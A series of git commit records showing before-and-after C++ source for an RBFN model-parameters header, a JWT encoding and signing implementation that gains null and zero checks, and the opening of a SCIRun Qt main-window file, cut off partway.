getSelectableParameters(std::set<std::string>& selected_values_labels) const; void getParameterVectorMask(const std::set<std::string> selected_values_labels, Eigen::VectorXi& selected_mask) const; void getParameterVectorAll(Eigen::VectorXd& all_values) const; inline int getParameterVectorAllSize(void) const { return all_values_vector_size_; } /** Return the weights of the basis functions. * \return weights of the basis functions. */ const Eigen::VectorXd& weights(void) const { return weights_; } protected: void setParameterVectorAll(const Eigen::VectorXd& values); private: Eigen::MatrixXd centers_; // n_centers X n_dims Eigen::MatrixXd widths_; // n_centers X n_dims Eigen::VectorXd weights_; // 1 X n_dims int all_values_vector_size_; public: /** Turn caching for the function kernelActivations() on or off. * Turning this on should lead to substantial improvements in execution time if the centers and * widths of the kernels do not change often AND you call normalizedKernelActivations with the * same inputs over and over again. * \param[in] caching Whether to turn caching on or off * \remarks In the constructor, caching is set to true, so by default it is on. */ inline void set_caching(bool caching) { caching_ = caching; if (!caching_) clearCache(); } UnifiedModel* toUnifiedModel(void) const; private: mutable Eigen::MatrixXd inputs_cached_; mutable Eigen::MatrixXd kernel_activations_cached_; bool caching_; inline void clearCache(void) { inputs_cached_.resize(0,0); kernel_activations_cached_.resize(0,0); } /** * Default constructor. * \remarks This default constuctor is required for boost::serialization to work. Since this * constructor should not be called by other classes, it is private (boost::serialization is a * friend) */ ModelParametersRBFN(void) {}; /** Give boost serialization access to private members. */ friend class boost::serialization::access; /** Serialize class data members to boost archive. * \param[in] ar Boost archive * \param[in] version Version of the class * See http://www.boost.org/doc/libs/1_55_0/libs/serialization/doc/tutorial.html#simplecase */ template<class Archive> void serialize(Archive & ar, const unsigned int version); }; } #include <boost/serialization/export.hpp> /** Register this derived class. */ BOOST_CLASS_EXPORT_KEY2(DmpBbo::ModelParametersRBFN, "ModelParametersRBFN") /** Don't add version information to archives. */ BOOST_CLASS_IMPLEMENTATION(DmpBbo::ModelParametersRBFN,boost::serialization::object_serializable); #endif // #ifndef MODELPARAMETERSRBFN_H <commit_msg>getNumberOfBasisFunctions() function for RBFN ModelParameters<commit_after>/** * @file ModelParametersRBFN.hpp * @brief ModelParametersRBFN class header file. * @author Freek Stulp * * This file is part of DmpBbo, a set of libraries and programs for the * black-box optimization of dynamical movement primitives. * Copyright (C) 2014 Freek Stulp, ENSTA-ParisTech * * DmpBbo is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * DmpBbo is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with DmpBbo. If not, see <http://www.gnu.org/licenses/>. */ #ifndef MODELPARAMETERSRBFN_H #define MODELPARAMETERSRBFN_H #include "functionapproximators/ModelParameters.hpp" #include <iosfwd> #include <vector> #include <eigen3/Eigen/Core> namespace DmpBbo { // Forward declaration class UnifiedModel; /** \brief Model parameters for the Radial Basis Function Network (RBFN) function approximator * \ingroup FunctionApproximators * \ingroup RBFN */ class ModelParametersRBFN : public ModelParameters { friend class FunctionApproximatorRBFN; public: /** Constructor for the model parameters of the LWPR function approximator. * \param[in] centers Centers of the basis functions * \param[in] widths Widths of the basis functions. * \param[in] weights Weight of each basis function */ ModelParametersRBFN(const Eigen::MatrixXd& centers, const Eigen::MatrixXd& widths, const Eigen::MatrixXd& weights); std::string toString(void) const; ModelParameters* clone(void) const; int getExpectedInputDim(void) const { return centers_.cols(); }; inline unsigned int getNumberOfBasisFunctions() const { return centers_.rows(); } /** Get the kernel activations for given inputs * \param[in] inputs The input data (size: n_samples X n_dims) * \param[out] kernel_activations The kernel activations, computed for each of the samples in the input data (size: n_samples X n_basis_functions) */ void kernelActivations(const Eigen::Ref<const Eigen::MatrixXd>& inputs, Eigen::MatrixXd& kernel_activations) const; void setParameterVectorModifierPrivate(std::string modifier, bool new_value); void getSelectableParameters(std::set<std::string>& selected_values_labels) const; void getParameterVectorMask(const std::set<std::string> selected_values_labels, Eigen::VectorXi& selected_mask) const; void getParameterVectorAll(Eigen::VectorXd& all_values) const; inline int getParameterVectorAllSize(void) const { return all_values_vector_size_; } /** Return the weights of the basis functions. * \return weights of the basis functions. */ const Eigen::VectorXd& weights(void) const { return weights_; } protected: void setParameterVectorAll(const Eigen::VectorXd& values); private: Eigen::MatrixXd centers_; // n_centers X n_dims Eigen::MatrixXd widths_; // n_centers X n_dims Eigen::VectorXd weights_; // 1 X n_dims int all_values_vector_size_; public: /** Turn caching for the function kernelActivations() on or off. * Turning this on should lead to substantial improvements in execution time if the centers and * widths of the kernels do not change often AND you call normalizedKernelActivations with the * same inputs over and over again. * \param[in] caching Whether to turn caching on or off * \remarks In the constructor, caching is set to true, so by default it is on. */ inline void set_caching(bool caching) { caching_ = caching; if (!caching_) clearCache(); } UnifiedModel* toUnifiedModel(void) const; private: mutable Eigen::MatrixXd inputs_cached_; mutable Eigen::MatrixXd kernel_activations_cached_; bool caching_; inline void clearCache(void) { inputs_cached_.resize(0,0); kernel_activations_cached_.resize(0,0); } /** * Default constructor. * \remarks This default constuctor is required for boost::serialization to work. Since this * constructor should not be called by other classes, it is private (boost::serialization is a * friend) */ ModelParametersRBFN(void) {}; /** Give boost serialization access to private members. */ friend class boost::serialization::access; /** Serialize class data members to boost archive. * \param[in] ar Boost archive * \param[in] version Version of the class * See http://www.boost.org/doc/libs/1_55_0/libs/serialization/doc/tutorial.html#simplecase */ template<class Archive> void serialize(Archive & ar, const unsigned int version); }; } #include <boost/serialization/export.hpp> /** Register this derived class. */ BOOST_CLASS_EXPORT_KEY2(DmpBbo::ModelParametersRBFN, "ModelParametersRBFN") /** Don't add version information to archives. */ BOOST_CLASS_IMPLEMENTATION(DmpBbo::ModelParametersRBFN,boost::serialization::object_serializable); #endif // #ifndef MODELPARAMETERSRBFN_H <|endoftext|>
<commit_before>/* * Copyright (c) 2008-2018 SLIBIO <https://github.com/SLIBIO> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "slib/crypto/jwt.h" #include "slib/crypto/base64.h" #include "slib/crypto/hmac.h" #include "slib/crypto/sha2.h" #include "slib/core/string_buffer.h" namespace slib { namespace priv { namespace jwt { SLIB_STATIC_STRING(g_field_iss, "iss") SLIB_STATIC_STRING(g_field_sub, "sub") SLIB_STATIC_STRING(g_field_aud, "aud") SLIB_STATIC_STRING(g_field_exp, "exp") SLIB_STATIC_STRING(g_field_nbf, "nbf") SLIB_STATIC_STRING(g_field_iat, "iat") SLIB_STATIC_STRING(g_field_jti, "jti") } } using namespace priv::jwt; SLIB_DEFINE_CLASS_DEFAULT_MEMBERS(Jwt) Jwt::Jwt() noexcept { setType("JWT"); setAlgorithm(JwtAlgorithm::HS256); } String Jwt::encode(const Memory& secret) const noexcept { StringBuffer sb; sb.add(Base64::encodeUrl(header.toJsonString())); sb.add("."); sb.add(Base64::encodeUrl(payload.toJsonString())); String content = sb.merge(); String signature = generateSignature(secret, content.getData(), content.getLength()); if (signature.isNotEmpty()) { sb.add("."); sb.add(signature); return sb.merge(); } else { return content; } } sl_bool Jwt::decode(const Memory& secret, const String& token) noexcept { sl_reg pos1 = token.indexOf('.'); if (pos1 < 0) { return sl_false; } String s1, s2, s3; sl_reg pos2 = token.indexOf('.', pos1 + 1); if (pos2 < 0) { return sl_false; } s1 = token.substring(0, pos1); s2 = token.substring(pos1 + 1, pos2); s3 = token.substring(pos2 + 1); if (s1.isNotEmpty()) { Memory mem = Base64::decode(s1); if (mem.isNull()) { return sl_false; } JsonParseParam pp; header = Json::parseJson(String::fromUtf8(mem), pp); if (pp.flagError) { return sl_false; } } if (s2.isNotEmpty()) { Memory mem = Base64::decode(s2); if (mem.isNull()) { return sl_false; } JsonParseParam pp; payload = Json::parseJson(String::fromUtf8(mem), pp); if (pp.flagError) { return sl_false; } } if (s3.isEmpty()) { return sl_false; } return s3 == generateSignature(secret, token.getData(), pos2); } String Jwt::generateSignature(const Memory& secret, const void* data, sl_size size) const noexcept { sl_uint8 signature[SHA512::HashSize]; sl_size sizeSignature; switch (getAlgorithm()) { case JwtAlgorithm::HS256: HMAC<SHA256>::execute(secret.getData(), secret.getSize(), data, size, signature); sizeSignature = SHA256::HashSize; break; case JwtAlgorithm::HS384: HMAC<SHA384>::execute(secret.getData(), secret.getSize(), data, size, signature); sizeSignature = SHA384::HashSize; break; case JwtAlgorithm::HS512: HMAC<SHA512>::execute(secret.getData(), secret.getSize(), data, size, signature); sizeSignature = SHA512::HashSize; break; default: sizeSignature = 0; break; } return Base64::encodeUrl(signature, sizeSignature); } SLIB_STATIC_STRING(g_field_typ, "typ") SLIB_STATIC_STRING(g_field_cty, "cty") SLIB_STATIC_STRING(g_field_alg, "alg") String Jwt::getType() const noexcept { return header.getItem(g_field_typ).getString(); } void Jwt::setType(const String& value) noexcept { header.putItem(g_field_typ, value); } String Jwt::getContentType() const noexcept { return header.getItem(g_field_cty).getString(); } void Jwt::setContentType(const String& value) noexcept { header.putItem(g_field_cty, value); } SLIB_STATIC_STRING(g_alg_HS256, "HS256") SLIB_STATIC_STRING(g_alg_HS384, "HS384") SLIB_STATIC_STRING(g_alg_HS512, "HS512") SLIB_STATIC_STRING(g_alg_RS256, "RS256") SLIB_STATIC_STRING(g_alg_RS384, "RS384") SLIB_STATIC_STRING(g_alg_RS512, "RS512") SLIB_STATIC_STRING(g_alg_ES256, "ES256") SLIB_STATIC_STRING(g_alg_ES384, "ES384") SLIB_STATIC_STRING(g_alg_ES512, "ES512") SLIB_STATIC_STRING(g_alg_PS256, "PS256") SLIB_STATIC_STRING(g_alg_PS384, "PS384") SLIB_STATIC_STRING(g_alg_PS512, "PS512") JwtAlgorithm Jwt::getAlgorithm() const noexcept { String alg = header.getItem(g_field_alg).getString(); if (alg.equalsIgnoreCase(g_alg_HS256)) return JwtAlgorithm::HS256; if (alg.equalsIgnoreCase(g_alg_HS384)) return JwtAlgorithm::HS384; if (alg.equalsIgnoreCase(g_alg_HS512)) return JwtAlgorithm::HS512; if (alg.equalsIgnoreCase(g_alg_RS256)) return JwtAlgorithm::RS256; if (alg.equalsIgnoreCase(g_alg_RS384)) return JwtAlgorithm::RS384; if (alg.equalsIgnoreCase(g_alg_RS512)) return JwtAlgorithm::RS512; if (alg.equalsIgnoreCase(g_alg_ES256)) return JwtAlgorithm::ES256; if (alg.equalsIgnoreCase(g_alg_ES384)) return JwtAlgorithm::ES384; if (alg.equalsIgnoreCase(g_alg_ES512)) return JwtAlgorithm::ES512; if (alg.equalsIgnoreCase(g_alg_PS256)) return JwtAlgorithm::PS256; if (alg.equalsIgnoreCase(g_alg_PS384)) return JwtAlgorithm::PS384; if (alg.equalsIgnoreCase(g_alg_PS512)) return JwtAlgorithm::PS512; return JwtAlgorithm::None; } void Jwt::setAlgorithm(const JwtAlgorithm& value) noexcept { switch (value) { case JwtAlgorithm::HS256: header.putItem(g_field_alg, g_alg_HS256); break; case JwtAlgorithm::HS384: header.putItem(g_field_alg, g_alg_HS384); break; case JwtAlgorithm::HS512: header.putItem(g_field_alg, g_alg_HS512); break; case JwtAlgorithm::RS256: header.putItem(g_field_alg, g_alg_RS256); break; case JwtAlgorithm::RS384: header.putItem(g_field_alg, g_alg_RS384); break; case JwtAlgorithm::RS512: header.putItem(g_field_alg, g_alg_RS512); break; case JwtAlgorithm::ES256: header.putItem(g_field_alg, g_alg_ES256); break; case JwtAlgorithm::ES384: header.putItem(g_field_alg, g_alg_ES384); break; case JwtAlgorithm::ES512: header.putItem(g_field_alg, g_alg_ES512); break; case JwtAlgorithm::PS256: header.putItem(g_field_alg, g_alg_PS256); break; case JwtAlgorithm::PS384: header.putItem(g_field_alg, g_alg_PS384); break; case JwtAlgorithm::PS512: header.putItem(g_field_alg, g_alg_PS512); break; default: header.removeItem(g_field_alg); break; } } String Jwt::getIssuer() const noexcept { return payload.getItem(g_field_iss).getString(); } void Jwt::setIssuer(const String& value) noexcept { payload.putItem(g_field_iss, value); } String Jwt::getSubject() const noexcept { return payload.getItem(g_field_sub).getString(); } void Jwt::setSubject(const String& value) noexcept { payload.putItem(g_field_sub, value); } String Jwt::getAudience() const noexcept { return payload.getItem(g_field_aud).getString(); } void Jwt::setAudience(const String& value) noexcept { payload.putItem(g_field_aud, value); } Time Jwt::getExpirationTime() const noexcept { sl_int64 n = payload.getItem(g_field_exp).getInt64(); return Time::fromUnixTime(n); } void Jwt::setExpirationTime(const Time& value) noexcept { payload.putItem(g_field_exp, value.toUnixTime()); } Time Jwt::getNotBefore() const noexcept { sl_int64 n = payload.getItem(g_field_nbf).getInt64(); return Time::fromUnixTime(n); } void Jwt::setNotBefore(const Time& value) noexcept { payload.putItem(g_field_nbf, value.toUnixTime()); } String Jwt::getIssuedAt() const noexcept { return payload.getItem(g_field_iat).getString(); } void Jwt::setIssuedAt(const String& value) noexcept { payload.putItem(g_field_iat, value); } String Jwt::getId() const noexcept { return payload.getItem(g_field_jti).getString(); } void Jwt::setId(const String& value) noexcept { payload.putItem(g_field_jti, value); } } <commit_msg>minor update<commit_after>/* * Copyright (c) 2008-2018 SLIBIO <https://github.com/SLIBIO> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "slib/crypto/jwt.h" #include "slib/crypto/base64.h" #include "slib/crypto/hmac.h" #include "slib/crypto/sha2.h" #include "slib/core/string_buffer.h" namespace slib { namespace priv { namespace jwt { SLIB_STATIC_STRING(g_field_iss, "iss") SLIB_STATIC_STRING(g_field_sub, "sub") SLIB_STATIC_STRING(g_field_aud, "aud") SLIB_STATIC_STRING(g_field_exp, "exp") SLIB_STATIC_STRING(g_field_nbf, "nbf") SLIB_STATIC_STRING(g_field_iat, "iat") SLIB_STATIC_STRING(g_field_jti, "jti") SLIB_STATIC_STRING(g_field_typ, "typ") SLIB_STATIC_STRING(g_field_cty, "cty") SLIB_STATIC_STRING(g_field_alg, "alg") SLIB_STATIC_STRING(g_alg_HS256, "HS256") SLIB_STATIC_STRING(g_alg_HS384, "HS384") SLIB_STATIC_STRING(g_alg_HS512, "HS512") SLIB_STATIC_STRING(g_alg_RS256, "RS256") SLIB_STATIC_STRING(g_alg_RS384, "RS384") SLIB_STATIC_STRING(g_alg_RS512, "RS512") SLIB_STATIC_STRING(g_alg_ES256, "ES256") SLIB_STATIC_STRING(g_alg_ES384, "ES384") SLIB_STATIC_STRING(g_alg_ES512, "ES512") SLIB_STATIC_STRING(g_alg_PS256, "PS256") SLIB_STATIC_STRING(g_alg_PS384, "PS384") SLIB_STATIC_STRING(g_alg_PS512, "PS512") } } using namespace priv::jwt; SLIB_DEFINE_CLASS_DEFAULT_MEMBERS(Jwt) Jwt::Jwt() noexcept { setType("JWT"); setAlgorithm(JwtAlgorithm::HS256); } String Jwt::encode(const Memory& secret) const noexcept { StringBuffer sb; sb.add(Base64::encodeUrl(header.toJsonString())); sb.add("."); sb.add(Base64::encodeUrl(payload.toJsonString())); String content = sb.merge(); String signature = generateSignature(secret, content.getData(), content.getLength()); if (signature.isNotEmpty()) { sb.add("."); sb.add(signature); return sb.merge(); } else { return content; } } sl_bool Jwt::decode(const Memory& secret, const String& token) noexcept { sl_reg pos1 = token.indexOf('.'); if (pos1 < 0) { return sl_false; } String s1, s2, s3; sl_reg pos2 = token.indexOf('.', pos1 + 1); if (pos2 < 0) { return sl_false; } s1 = token.substring(0, pos1); s2 = token.substring(pos1 + 1, pos2); s3 = token.substring(pos2 + 1); if (s1.isNotEmpty()) { Memory mem = Base64::decode(s1); if (mem.isNull()) { return sl_false; } JsonParseParam pp; header = Json::parseJson(String::fromUtf8(mem), pp); if (pp.flagError) { return sl_false; } } if (s2.isNotEmpty()) { Memory mem = Base64::decode(s2); if (mem.isNull()) { return sl_false; } JsonParseParam pp; payload = Json::parseJson(String::fromUtf8(mem), pp); if (pp.flagError) { return sl_false; } } if (s3.isEmpty()) { return sl_false; } return s3 == generateSignature(secret, token.getData(), pos2); } String Jwt::generateSignature(const Memory& secret, const void* data, sl_size size) const noexcept { sl_uint8 signature[SHA512::HashSize]; sl_size sizeSignature; switch (getAlgorithm()) { case JwtAlgorithm::HS256: HMAC<SHA256>::execute(secret.getData(), secret.getSize(), data, size, signature); sizeSignature = SHA256::HashSize; break; case JwtAlgorithm::HS384: HMAC<SHA384>::execute(secret.getData(), secret.getSize(), data, size, signature); sizeSignature = SHA384::HashSize; break; case JwtAlgorithm::HS512: HMAC<SHA512>::execute(secret.getData(), secret.getSize(), data, size, signature); sizeSignature = SHA512::HashSize; break; default: sizeSignature = 0; break; } return Base64::encodeUrl(signature, sizeSignature); } String Jwt::getType() const noexcept { return header.getItem(g_field_typ).getString(); } void Jwt::setType(const String& value) noexcept { header.putItem(g_field_typ, value); } String Jwt::getContentType() const noexcept { return header.getItem(g_field_cty).getString(); } void Jwt::setContentType(const String& value) noexcept { header.putItem(g_field_cty, value); } JwtAlgorithm Jwt::getAlgorithm() const noexcept { String alg = header.getItem(g_field_alg).getString(); if (alg.equalsIgnoreCase(g_alg_HS256)) return JwtAlgorithm::HS256; if (alg.equalsIgnoreCase(g_alg_HS384)) return JwtAlgorithm::HS384; if (alg.equalsIgnoreCase(g_alg_HS512)) return JwtAlgorithm::HS512; if (alg.equalsIgnoreCase(g_alg_RS256)) return JwtAlgorithm::RS256; if (alg.equalsIgnoreCase(g_alg_RS384)) return JwtAlgorithm::RS384; if (alg.equalsIgnoreCase(g_alg_RS512)) return JwtAlgorithm::RS512; if (alg.equalsIgnoreCase(g_alg_ES256)) return JwtAlgorithm::ES256; if (alg.equalsIgnoreCase(g_alg_ES384)) return JwtAlgorithm::ES384; if (alg.equalsIgnoreCase(g_alg_ES512)) return JwtAlgorithm::ES512; if (alg.equalsIgnoreCase(g_alg_PS256)) return JwtAlgorithm::PS256; if (alg.equalsIgnoreCase(g_alg_PS384)) return JwtAlgorithm::PS384; if (alg.equalsIgnoreCase(g_alg_PS512)) return JwtAlgorithm::PS512; return JwtAlgorithm::None; } void Jwt::setAlgorithm(const JwtAlgorithm& value) noexcept { switch (value) { case JwtAlgorithm::HS256: header.putItem(g_field_alg, g_alg_HS256); break; case JwtAlgorithm::HS384: header.putItem(g_field_alg, g_alg_HS384); break; case JwtAlgorithm::HS512: header.putItem(g_field_alg, g_alg_HS512); break; case JwtAlgorithm::RS256: header.putItem(g_field_alg, g_alg_RS256); break; case JwtAlgorithm::RS384: header.putItem(g_field_alg, g_alg_RS384); break; case JwtAlgorithm::RS512: header.putItem(g_field_alg, g_alg_RS512); break; case JwtAlgorithm::ES256: header.putItem(g_field_alg, g_alg_ES256); break; case JwtAlgorithm::ES384: header.putItem(g_field_alg, g_alg_ES384); break; case JwtAlgorithm::ES512: header.putItem(g_field_alg, g_alg_ES512); break; case JwtAlgorithm::PS256: header.putItem(g_field_alg, g_alg_PS256); break; case JwtAlgorithm::PS384: header.putItem(g_field_alg, g_alg_PS384); break; case JwtAlgorithm::PS512: header.putItem(g_field_alg, g_alg_PS512); break; default: header.removeItem(g_field_alg); break; } } String Jwt::getIssuer() const noexcept { return payload.getItem(g_field_iss).getString(); } void Jwt::setIssuer(const String& value) noexcept { payload.putItem(g_field_iss, value); } String Jwt::getSubject() const noexcept { return payload.getItem(g_field_sub).getString(); } void Jwt::setSubject(const String& value) noexcept { payload.putItem(g_field_sub, value); } String Jwt::getAudience() const noexcept { return payload.getItem(g_field_aud).getString(); } void Jwt::setAudience(const String& value) noexcept { payload.putItem(g_field_aud, value); } Time Jwt::getExpirationTime() const noexcept { Variant var = payload.getItem(g_field_exp); if (var.isNotNull()) { return Time::fromUnixTime(var.getInt64()); } else { return Time::zero(); } } void Jwt::setExpirationTime(const Time& value) noexcept { if (value.isNotZero()) { payload.putItem(g_field_exp, value.toUnixTime()); } } Time Jwt::getNotBefore() const noexcept { Variant var = payload.getItem(g_field_nbf); if (var.isNotNull()) { return Time::fromUnixTime(var.getInt64()); } else { return Time::zero(); } } void Jwt::setNotBefore(const Time& value) noexcept { if (value.isNotZero()) { payload.putItem(g_field_nbf, value.toUnixTime()); } } String Jwt::getIssuedAt() const noexcept { return payload.getItem(g_field_iat).getString(); } void Jwt::setIssuedAt(const String& value) noexcept { payload.putItem(g_field_iat, value); } String Jwt::getId() const noexcept { return payload.getItem(g_field_jti).getString(); } void Jwt::setId(const String& value) noexcept { payload.putItem(g_field_jti, value); } } <|endoftext|>
<commit_before>/* For more information, please see: http://software.sci.utah.edu The MIT License Copyright (c) 2012 Scientific Computing and Imaging Institute, University of Utah. License for the specific language governing rights and limitations under Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <QtGui> #include <algorithm> #include <functional> #include <boost/bind.hpp> #include <Interface/Application/Logger.h> #include <Interface/Application/SCIRunMainWindow.h> #include <Interface/Application/NetworkEditor.h> #include <Dataflow/Engine/Controller/NetworkEditorController.h> #include <Interface/Application/NetworkEditorControllerGuiProxy.h> #include <Dataflow/Network/NetworkFwd.h> #include <Modules/Factory/HardCodedModuleFactory.h> #include <Dataflow/State/SimpleMapModuleState.h> #include <Dataflow/Serialization/Network/XMLSerializer.h> #include <Dataflow/Serialization/Network/NetworkDescriptionSerialization.h> #ifdef BUILD_VTK_SUPPORT #include "RenderWindow.h" #endif using namespace SCIRun; using namespace SCIRun::Gui; using namespace SCIRun::Dataflow::Engine; using namespace SCIRun::Dataflow::Networks; using namespace SCIRun::Modules::Factory; using namespace SCIRun::Dataflow::State; namespace { void visitTree(QStringList& list, QTreeWidgetItem* item){ list << item->text(0) + "," + QString::number(item->childCount()); if (item->childCount() != 0) item->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled); for (int i = 0; i < item->childCount(); ++i) visitTree(list, item->child(i)); } QStringList visitTree(QTreeWidget* tree) { QStringList list; for (int i = 0; i < tree->topLevelItemCount(); ++i) visitTree(list, tree->topLevelItem(i)); return list; } struct LogAppender : public Logger { explicit LogAppender(QTextEdit* text) : text_(text) {} void log(const QString& message) const { text_->append(message); } QTextEdit* text_; }; class TreeViewModuleGetter : public CurrentModuleSelection { public: explicit TreeViewModuleGetter(QTreeWidget& tree) : tree_(tree) {} virtual QString text() const { return tree_.currentItem()->text(0); } virtual bool isModule() const { return tree_.currentItem()->childCount() == 0; } private: QTreeWidget& tree_; }; } SCIRunMainWindow* SCIRunMainWindow::instance_ = 0; SCIRunMainWindow* SCIRunMainWindow::Instance() { if (!instance_) { instance_ = new SCIRunMainWindow; } return instance_; } SCIRunMainWindow::SCIRunMainWindow() { setupUi(this); boost::shared_ptr<TreeViewModuleGetter> getter(new TreeViewModuleGetter(*moduleSelectorTreeWidget_)); Logger::set_instance(new LogAppender(logTextBrowser_)); networkEditor_ = new NetworkEditor(getter, scrollAreaWidgetContents_); networkEditor_->setObjectName(QString::fromUtf8("networkEditor_")); networkEditor_->setContextMenuPolicy(Qt::ActionsContextMenu); networkEditor_->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOn); networkEditor_->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOn); networkEditor_->setModuleDumpAction(actionDump_positions); networkEditor_->verticalScrollBar()->setValue(0); networkEditor_->horizontalScrollBar()->setValue(0); actionExecute_All_->setStatusTip(tr("Execute all modules")); connect(actionExecute_All_, SIGNAL(triggered()), networkEditor_, SLOT(executeAll())); connect(actionClear_Network_, SIGNAL(triggered()), this, SLOT(clearNetwork())); connect(networkEditor_, SIGNAL(modified()), this, SLOT(networkModified())); ModuleFactoryHandle moduleFactory(new HardCodedModuleFactory); ModuleStateFactoryHandle sf(new SimpleMapModuleStateFactory); boost::shared_ptr<NetworkEditorController> controller(new NetworkEditorController(moduleFactory, sf)); boost::shared_ptr<NetworkEditorControllerGuiProxy> controllerProxy(new NetworkEditorControllerGuiProxy(controller)); networkEditor_->setNetworkEditorController(controllerProxy); gridLayout_5->addWidget(networkEditor_, 0, 0, 1, 1); QWidgetAction* moduleSearchAction = new QWidgetAction(this); moduleSearchAction->setDefaultWidget(new QLineEdit(this)); #if 0 { //TODO!!!! moduleSearchAction->setVisible(true); QToolBar* f = addToolBar(tr("&Search")); QWidgetAction* showModuleLabel = new QWidgetAction(this); showModuleLabel->setDefaultWidget(new QLabel("Module Search:", this)); showModuleLabel->setVisible(true); f->addAction(showModuleLabel); f->addAction(moduleSearchAction); } #endif QToolBar* executeBar = addToolBar(tr("&Execute")); executeBar->addAction(actionExecute_All_); QWidgetAction* globalProgress = new QWidgetAction(this); globalProgress->setDefaultWidget(new QProgressBar(this)); globalProgress->setVisible(true); executeBar->addAction(globalProgress); QWidgetAction* moduleCounter = new QWidgetAction(this); moduleCounter->setDefaultWidget(new QLabel("0/0", this)); moduleCounter->setVisible(true); executeBar->addAction(moduleCounter); scrollAreaWidgetContents_->addAction(actionExecute_All_); scrollAreaWidgetContents_->setContextMenuPolicy(Qt::ActionsContextMenu); scrollArea_->viewport()->setBackgroundRole(QPalette::Dark); scrollArea_->viewport()->setAutoFillBackground(true); networkEditor_->addActions(scrollAreaWidgetContents_); logTextBrowser_->setText("Hello! Welcome to the SCIRun5 Prototype."); QStringList result = visitTree(moduleSelectorTreeWidget_); std::for_each(result.begin(), result.end(), boost::bind(&Logger::log, boost::ref(*Logger::Instance()), _1)); connect(actionSave_As_, SIGNAL(triggered()), this, SLOT(saveNetworkAs())); connect(actionSave_, SIGNAL(triggered()), this, SLOT(saveNetwork())); connect(actionLoad_, SIGNAL(triggered()), this, SLOT(loadNetwork())); connect(actionQuit_, SIGNAL(triggered()), this, SLOT(close())); setCurrentFile(""); moduleSelectorTreeWidget_->expandAll(); #ifdef BUILD_VTK_SUPPORT // Build render window. renderWindow_ = new RenderWindow(this); renderWindow_->setEnabled(false); renderWindow_->setVisible(false); moduleFactory->setRenderer(renderWindow_); connect(actionRenderer, SIGNAL(triggered()), this, SLOT(ToggleRenderer())); #endif } void SCIRunMainWindow::saveNetwork() { if (currentFile_.isEmpty()) saveNetworkAs(); else saveNetworkFile(currentFile_); } void SCIRunMainWindow::saveNetworkAs() { QString filename = QFileDialog::getSaveFileName(this, "Save Network...", ".", "*.srn5"); saveNetworkFile(filename); } void SCIRunMainWindow::saveNetworkFile(const QString& fileName) { NetworkXMLHandle data = networkEditor_->controller_->saveNetwork(); ModulePositionsHandle positions = networkEditor_->dumpModulePositions(); NetworkFile file; file.network = *data; file.modulePositions = *positions; XMLSerializer::save_xml(file, fileName.toStdString(), "networkFile"); setCurrentFile(fileName); statusBar()->showMessage(tr("File saved"), 2000); std::cout << "file save done." << std::endl; setWindowModified(false); } void SCIRunMainWindow::loadNetwork() { if (okToContinue()) { QString filename = QFileDialog::getOpenFileName(this, "Load Network...", ".", "*.srn5"); if (!filename.isEmpty()) { networkEditor_->clear(); std::cout << "Attempting load of " << filename.toStdString() << std::endl; try { boost::shared_ptr<NetworkFile> xml = XMLSerializer::load_xml<NetworkFile>(filename.toStdString()); if (xml) { networkEditor_->controller_->loadNetwork(xml->network); networkEditor_->moveModules(xml->modulePositions); } else std::cout << "File load failed." << std::endl; 